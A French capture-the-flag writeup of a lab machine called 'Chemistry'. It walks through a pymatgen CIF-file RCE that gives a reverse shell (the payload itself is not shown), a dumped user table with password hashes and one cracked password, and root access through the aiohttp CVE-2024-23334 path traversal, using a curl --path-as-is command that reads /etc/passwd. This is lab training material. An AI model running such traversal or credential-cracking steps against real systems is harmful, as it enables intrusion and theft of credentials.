← Retour aux writeups

Chemistry

User

Première étape : fuzzing des répertoires pour découvrir les endpoints disponibles.

En recherchant des informations sur les fichiers CIF (Crystallographic Information File), on découvre que les applications qui les interprètent utilisent généralement Python avec la bibliothèque pymatgen. Une CVE et un PoC sont disponibles :

Construction d'un payload contenant un reverse shell, puis exécution réussie.

Exfiltration de la base de données :

~/Documents $ sqlite3 database.db
SQLite version 3.51.0 2025-11-04 19:38:17
Enter ".help" for usage hints.
sqlite> .tables
structure  user
sqlite> .schema user
CREATE TABLE user (
        id INTEGER NOT NULL,
        username VARCHAR(150) NOT NULL,
        password VARCHAR(150) NOT NULL,
        PRIMARY KEY (id),
        UNIQUE (username)
);
sqlite> SELECT * FROM user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
...

Le hash de l'utilisateur admin n'est pas disponible sur CrackStation. Cependant, celui de rosa est crackable : unicorniosrosados

Connexion SSH avec les credentials de rosa → accès utilisateur obtenu.

Root

L'exécution de LinPEAS révèle plusieurs informations intéressantes.

Première piste explorée (CVE-2021-3560 Polkit) : sans succès.

LinPEAS indique également qu'un service tourne en tant que root :

/usr/bin/python3.9 /opt/monitoring_site/app.py (running as root - PID 1050)

Pas d'accès en écriture sur ce répertoire, mais un site de monitoring s'exécute avec les privilèges root sur 127.0.0.1:8080.

Exploration du service local :

rosa@chemistry:~$ curl http://127.0.0.1:8080/assets
403: Forbidden

Tentatives de LFI sur /assets initialement infructueuses.

rosa@chemistry:~$ curl -I http://127.0.0.1:8080
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Server: Python/3.9 aiohttp/3.9.1

Le framework utilisé est Aiohttp 3.9 (et non Werkzeug). Recherche de vulnérabilités connues sur cette version.

Découverte du CVE-2024-23334 permettant une LFI via path traversal :

Adaptation de l'exploit : modification du chemin cible vers root/root.txt et du endpoint /assets/.

Point important : l'utilisation du flag --path-as-is avec curl est nécessaire pour éviter la normalisation automatique des chemins :

curl --path-as-is "http://127.0.0.1:8080/assets/../../../etc/passwd"

Ressource utile : Documentation HTTPie - --path-as-is

Flag root obtenu avec succès.